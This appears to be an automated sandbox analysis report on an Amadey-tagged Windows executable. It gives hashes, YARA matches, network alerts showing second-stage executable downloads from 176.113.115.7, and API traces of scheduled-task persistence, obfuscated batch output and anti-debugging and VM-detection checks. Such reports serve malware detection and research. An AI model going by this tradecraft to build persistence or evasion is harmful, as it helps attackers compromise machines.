Summary | ZeroBOX

random.exe

Amadey Generic Malware Malicious Library UPX PE File OS Processor Check PE32 PowerShell
Category Machine Started Completed
FILE s1_win7_x6401 March 24, 2025, 10:39 a.m. March 24, 2025, 10:42 a.m.
Size 938.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 07ced6e7018c90a68a1d78b2ac01904d
SHA256 7c7b0011afc86dd97580dad216eacca0fb5c7b81b521ea8cafb52d99a67cee2a
CRC32 22B6EC28
ssdeep 24576:LqDEvCTbMWu7rQYlBQcBiT6rprG8a0gu:LTvC/MTQYxsWR7a0g
Yara
  • Malicious_Library_Zero - Malicious_Library
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Generic_Malware_Zero - Generic Malware
  • OS_Processor_Check_Zero - OS Processor Check
  • UPX_Zero - UPX packed file

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
176.113.115.6 Active Moloch
176.113.115.7 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49167 -> 176.113.115.7:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 176.113.115.7:80 -> 192.168.56.101:49167 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 176.113.115.7:80 -> 192.168.56.101:49167 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 176.113.115.7:80 -> 192.168.56.101:49167 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.101:49178 -> 176.113.115.7:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 176.113.115.7:80 -> 192.168.56.101:49178 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 176.113.115.7:80 -> 192.168.56.101:49178 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 176.113.115.7:80 -> 192.168.56.101:49178 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.101:49173 -> 176.113.115.7:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic
TCP 176.113.115.7:80 -> 192.168.56.101:49173 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 176.113.115.7:80 -> 192.168.56.101:49173 2016538 ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download Potentially Bad Traffic
TCP 176.113.115.7:80 -> 192.168.56.101:49173 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.101:49173 -> 176.113.115.7:80 2016141 ET INFO Executable Download from dotted-quad Host Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameA

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0

GetComputerNameW

computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0

IsDebuggerPresent

0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

buffer: SUCCESS: The scheduled task "uA50omaOMzx" has successfully been created.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 1 file(s) copied.
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: Set
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: Discussed=L
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: EcGas
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'EcGas' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: YvIllustrations
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Premises(Tap(Bizarre(Feb(Fell(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'YvIllustrations' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: SYdBrandon
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Trust(Nu(Advertisement(Oil(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'SYdBrandon' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: rMDoMember
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Terminology(Innovative(Gambling(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'rMDoMember' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: aYMacro
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Associates(Monroe(Upon(Obligation(Catering(Cached(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'aYMacro' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: dAmYn
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Washing(Motorola(Desktops(Flour(Watches(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'dAmYn' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: bnXTab
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Infection(Block(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'bnXTab' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: Set
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: Arg=l
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: ojAppearing
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Fly(Louise(Plenty(Label(Fruits(Uniprotkb(Copyright(Valuable(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'ojAppearing' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: RoRoof
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Pace(Rescue(Revision(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'RoRoof' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: QwLike
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Carbon(Stainless(
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: 'QwLike' is not recognized as an internal or external command, operable program or batch file.
console_handle: 0x0000000b
1 1 0

WriteConsoleW

buffer: C:\Users\test22\AppData\Local\Temp>
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: HmKMouth
console_handle: 0x00000007
1 1 0

WriteConsoleW

buffer: (Http(Inner(Page(Shopper(Transcription(Marilyn(
console_handle: 0x00000007
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c1b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cbb8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060bff8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060bff8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060bff8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c8b8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060c9f8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cd38
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cc78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

buffer: <INVALID POINTER>
crypto_handle: 0x0060cc78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

1 1 0
Time & API Arguments Status Return Repeated

__exception__

stacktrace:
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x76f49ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x76f49ea5

exception.instruction_r: fb e9 4e 01 00 00 60 8b 74 24 24 8b 7c 24 28 fc
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x3290b9
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 3313849
exception.address: 0xb590b9
registers.esp: 2883084
registers.edi: 0
registers.eax: 1
registers.ebp: 2883100
registers.edx: 13647872
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 34 fc ff ff 81 f5 cb a3 68 9e 01 e9 5d 50
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x716e6
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 464614
exception.address: 0x8a16e6
registers.esp: 2883048
registers.edi: 1968898280
registers.eax: 27152
registers.ebp: 3999068180
registers.edx: 8585216
registers.ebx: 9047597
registers.esi: 3
registers.ecx: 1969094656
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 2a 00 00 00 b8 a1 57 d3 dc 01 c1 58 09 c8
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x7136c
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 463724
exception.address: 0x8a136c
registers.esp: 2883052
registers.edi: 4294943132
registers.eax: 27152
registers.ebp: 3999068180
registers.edx: 241897
registers.ebx: 9074749
registers.esi: 3
registers.ecx: 1969094656
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 51 c7 04 24 a7 6e 44 62 89 0c 24 81 ec 04 00
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x72221
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 467489
exception.address: 0x8a2221
registers.esp: 2883052
registers.edi: 4294943132
registers.eax: 32127
registers.ebp: 3999068180
registers.edx: 462299170
registers.ebx: 9074749
registers.esi: 9084035
registers.ecx: 272472244
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 55 89 34 24 e9 fd fb ff ff 55 e9 e5 fa ff ff
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x726e4
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 468708
exception.address: 0x8a26e4
registers.esp: 2883052
registers.edi: 4294943132
registers.eax: 32127
registers.ebp: 3999068180
registers.edx: 462299170
registers.ebx: 0
registers.esi: 9054603
registers.ecx: 1259
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 82 07 00 00 59 01 e8 e9 04 05 00 00 5b e9
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x1f9b75
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2071413
exception.address: 0xa29b75
registers.esp: 2883052
registers.edi: 9086970
registers.eax: 31453
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 19398952
registers.esi: 10687623
registers.ecx: 296
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 13 00 00 00 8b 24 24 89 14 24 c7 04 24 a1
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x1fa4bf
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2073791
exception.address: 0xa2a4bf
registers.esp: 2883052
registers.edi: 314345
registers.eax: 4294939204
registers.ebp: 3999068180
registers.edx: 2130566132
registers.ebx: 19398952
registers.esi: 10687623
registers.ecx: 296
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 50 89 0c 24 50 e9 ba 03 00 00 89 c8 59 29 c2
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x1fbbed
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2079725
exception.address: 0xa2bbed
registers.esp: 2883052
registers.edi: 10667432
registers.eax: 28384
registers.ebp: 3999068180
registers.edx: 1549541099
registers.ebx: 0
registers.esi: 10687623
registers.ecx: 2048848688
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 83 ec 04 89 3c 24 c7 04 24 92 f1 22 6d 89 14
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2029d9
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2107865
exception.address: 0xa329d9
registers.esp: 2883052
registers.edi: 10669472
registers.eax: 10719272
registers.ebp: 3999068180
registers.edx: 96
registers.ebx: 10667458
registers.esi: 0
registers.ecx: 14288
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 00 00 00 00 51 52 e9 ab 01 00 00 b8 95 62
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x202e9b
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2109083
exception.address: 0xa32e9b
registers.esp: 2883052
registers.edi: 10669472
registers.eax: 10695428
registers.ebp: 3999068180
registers.edx: 96
registers.ebx: 202985
registers.esi: 0
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: ed 64 8f 05 00 00 00 00 51 e9 b0 d1 ff ff 33 34
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x209443
exception.instruction: in eax, dx
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2135107
exception.address: 0xa39443
registers.esp: 2883044
registers.edi: 7090345
registers.eax: 1447909480
registers.ebp: 3999068180
registers.edx: 22104
registers.ebx: 1969033397
registers.esi: 10701788
registers.ecx: 20
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: 0f 3f 07 0b 64 8f 05 00 00 00 00 83 c4 04 83 fb
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x207ee7
exception.address: 0xa37ee7
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc000001d
exception.offset: 2129639
registers.esp: 2883044
registers.edi: 7090345
registers.eax: 1
registers.ebp: 3999068180
registers.edx: 22104
registers.ebx: 0
registers.esi: 10701788
registers.ecx: 20
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: ed 81 fb 68 58 4d 56 75 0a c7 85 ea 29 2d 12 01
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x20922d
exception.instruction: in eax, dx
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2134573
exception.address: 0xa3922d
registers.esp: 2883044
registers.edi: 7090345
registers.eax: 1447909480
registers.ebp: 3999068180
registers.edx: 22104
registers.ebx: 2256917605
registers.esi: 10701788
registers.ecx: 10
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: cd 01 eb 00 60 e9 0d 00 00 00 ec e4 15 f5 41 3a
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x20d40f
exception.instruction: int 1
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000005
exception.offset: 2151439
exception.address: 0xa3d40f
registers.esp: 2883012
registers.edi: 0
registers.eax: 2883012
registers.ebp: 3999068180
registers.edx: 10736539
registers.ebx: 10737037
registers.esi: 1659840454
registers.ecx: 54099
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 50 53 68 8c b5 75 7f e9 d5 fc ff ff 5a 42 81
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x20e037
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2154551
exception.address: 0xa3e037
registers.esp: 2883048
registers.edi: 7090345
registers.eax: 26887
registers.ebp: 3999068180
registers.edx: 10737185
registers.ebx: 7267124
registers.esi: 10
registers.ecx: 10737844
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 83 ec 04 89 14 24 83 ec 04 89 0c 24 c7 04 24
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x20da76
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2153078
exception.address: 0xa3da76
registers.esp: 2883052
registers.edi: 7090345
registers.eax: 6379
registers.ebp: 3999068180
registers.edx: 10737185
registers.ebx: 0
registers.esi: 10
registers.ecx: 10740935
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 53 e9 3d fa ff ff 8b 2c 24 e9 00 00 00 00 81
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x21cc64
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2215012
exception.address: 0xa4cc64
registers.esp: 2883048
registers.edi: 9044826
registers.eax: 31289
registers.ebp: 3999068180
registers.edx: 10798602
registers.ebx: 7267343
registers.esi: 1968968720
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 ed 05 00 00 ba fa bf ba 18 29 d7 e9 35 fc
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x21cb6c
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2214764
exception.address: 0xa4cb6c
registers.esp: 2883052
registers.edi: 0
registers.eax: 607947093
registers.ebp: 3999068180
registers.edx: 10801679
registers.ebx: 7267343
registers.esi: 1968968720
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 2e fa ff ff 57 68 04 00 00 00 5f e9 0c 00
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x2206de
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2229982
exception.address: 0xa506de
registers.esp: 2883048
registers.edi: 0
registers.eax: 32814
registers.ebp: 3999068180
registers.edx: 10801679
registers.ebx: 21542168
registers.esi: 1979774748
registers.ecx: 10812588
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 68 3a 32 90 0d 89 3c 24 53 e9 00 00 00 00 57
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x220727
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2230055
exception.address: 0xa50727
registers.esp: 2883052
registers.edi: 0
registers.eax: 32814
registers.ebp: 3999068180
registers.edx: 10801679
registers.ebx: 21542168
registers.esi: 1979774748
registers.ecx: 10845402
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 57 c7 04 24 78 ed bb 0f 81 24 24 9f 9b b2 26
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x21ff67
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2228071
exception.address: 0xa4ff67
registers.esp: 2883052
registers.edi: 0
registers.eax: 262633
registers.ebp: 3999068180
registers.edx: 10801679
registers.ebx: 21542168
registers.esi: 0
registers.ecx: 10815586
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb e9 94 00 00 00 8b 3c 24 55 89 e5 81 c5 04 00
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x22575a
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2250586
exception.address: 0xa5575a
registers.esp: 2883044
registers.edi: 10836162
registers.eax: 33164
registers.ebp: 3999068180
registers.edx: 84201
registers.ebx: 1200255915
registers.esi: 0
registers.ecx: 0
1 0 0

__exception__

stacktrace:

        
      
      
      
exception.instruction_r: fb 05 37 ea bd 7f e9 2a 02 00 00 89 3c 24 52 c7
exception.symbol: tempplmrsqg8inq893hz1nhrvsn0k7rlijht+0x229f8a
exception.instruction: sti
exception.module: TempPLMRSQG8INQ893HZ1NHRVSN0K7RLIJHT.EXE
exception.exception_code: 0xc0000096
exception.offset: 2269066
exception.address: 0xa59f8a
registers.esp: 2883040
registers.edi: 10836162
